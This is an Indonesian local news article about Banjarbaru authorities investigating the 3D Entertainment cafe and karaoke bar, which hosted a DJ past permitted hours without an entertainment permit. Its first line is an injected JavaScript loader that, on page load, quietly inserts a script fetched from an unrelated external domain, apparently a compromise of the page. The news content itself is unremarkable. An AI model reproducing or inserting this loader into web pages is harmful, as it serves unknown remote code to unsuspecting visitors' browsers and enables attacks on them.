(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Hadirkan DJ Hingga Langgar Waktu Operasi, 3D Entertainment Tidak Punya Izin!


BANJARBARU, Setelah ramai berita tekait kehadiran DJ ternama dari luar daerah yang tampil di 3D Entertainment Cafe dan Karaoke yang berlokasi di Jalan Trikora, Kota Banjarbaru, Jumat (30/8) lalu, Pemko Banjarbaru melakukan tindak lanjut dan investigasi pada Senin (2/9) sore.

Kehadiran DJ Rosela Ulala yang didatangkan sebagai bintang tamu, membuat 3D Entertainment tidak lagi sebagai Cafe dan Karaoke, melainkan tempat layaknya diskotik. Apalagi  saat acara malam itu berlangsung hingga pukul 02.00 Wita. Tentu saja hal tersebut menyalahi aturan Perwali No 80 Tahun 2016 pasal 5 tentang aturan operasi Karaoke, Pub/Cafe/Bar,Salon,Spa dan Bioskop yang mestinya hanya boleh beroperasi hingga pukul 24.00 wita dan hari libur hingga pukul 01.00 Wita.

Dari pantauan di lapangan, Pemko Banjarbaru melalui Dinas Kebudayaan Pariwisata Pemuda dan Olahraga serta Satpol PP mendatangi THM tersebut untuk menemui langsung pemiliknya. Sejumlah pertanyaan dilayangkan kepada pemilik 3D Entertainment, terkait acara hiburan malam itu serta kelengkapan izin.

Kasatpol PP Banjarbaru, Marhain Rahman, menuturkan dilakukannya investigasi ini setelah adanya laporan dari masyarakat serta perintah langsung dari Wali Kota Banjarbaru, Nadjmi Adhani.  Dirinya menerangkan dari hasil pemeriksaan, pemilik 3D Entertainment memang mengakui adanya hiburan pada malam itu. Namun, belum mengantongi izin.

“Izin hiburan umum, mereka belum memiliki.  Perda (Peraturan Daerah) tidak memperbolehkan adanya hiburan umum baik itu cafe maupun karaoke. Kalau cafe itu hiburannya cukup live musik aja, bukan DJ seperti itu,” kata Marhain.

Meski begitu, Satpol PP Banjarbaru sebagai aparat penegak Perda akan lebih jauh mendalami kasus ini apalagi terkait perizinan di DPMPTSP. Selain itu pemilik 3D Entertainment juga akan dipanggil kembali di lakukan pemeriksaan.  “Jika memang terbukti menyalahi dan ada dugaan pelanggaran administrasi dan lainnya. Maka tidak menutup kemungkinan akan di kenakan sanksi. Paling berat sanksinya sampai dengan penutupan usaha 3D Entertainment,” tegas Kasatpol PP Banjarbaru.

Di sisi lain, Kadispora Banjarbaru, Hidayaturahman menambahkan selama ini pihaknya sudah memonitoring seluruh Tempat Hiburan di Kota Banjarbaru. Terkait 3D Vierra Entertainment ini memang ada laporan masyarakat. “Tahun ini memang Dispora tidak mengeluarkan rekomendasi untuk izin 3D Entertainment. Untuk tindakan apa yang akan dilakukan, kami masih menunggu hasil pendalaman dari Satpol PP,” katanya.

Sementara itu, saat akan diwawancara, pemilik 3D Entertainment, Vera, justru memilih irit bicara dari pertanyaan para awak media. Dirinya cuma berkelit bahwa seluruh izinnya telah lengkap. “Ya, saya rasa seluruh izinnya sudah lengkap. Makanya ini mau dicek dulu,” ucapnya.

Dari pengakuannya, Vera juga membantah bahwa acara hiburan pada malam itu melanggar ketentuan jam operasi. Ditegaskannya, pada pukul 01.11 Wita, acara hiburan sudah berakhir dan pengunjung sudah berdudukan. Sementara dugaan berakhir pada pukul 02.00 Wita itu hanyalah para pegawainya yang sedang bersesimpun.

Pada saat bersamaan, petugas Satpol PP  juga menemukan beberapa botol miras kosong bekas pakai yang telah dibuang ditempat sampah. Temuan tersebut, juga akan lebih didalami pihak Satpol PP Banjarbaru. (Rico)

Reporter : Rico
Editor : Chell

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.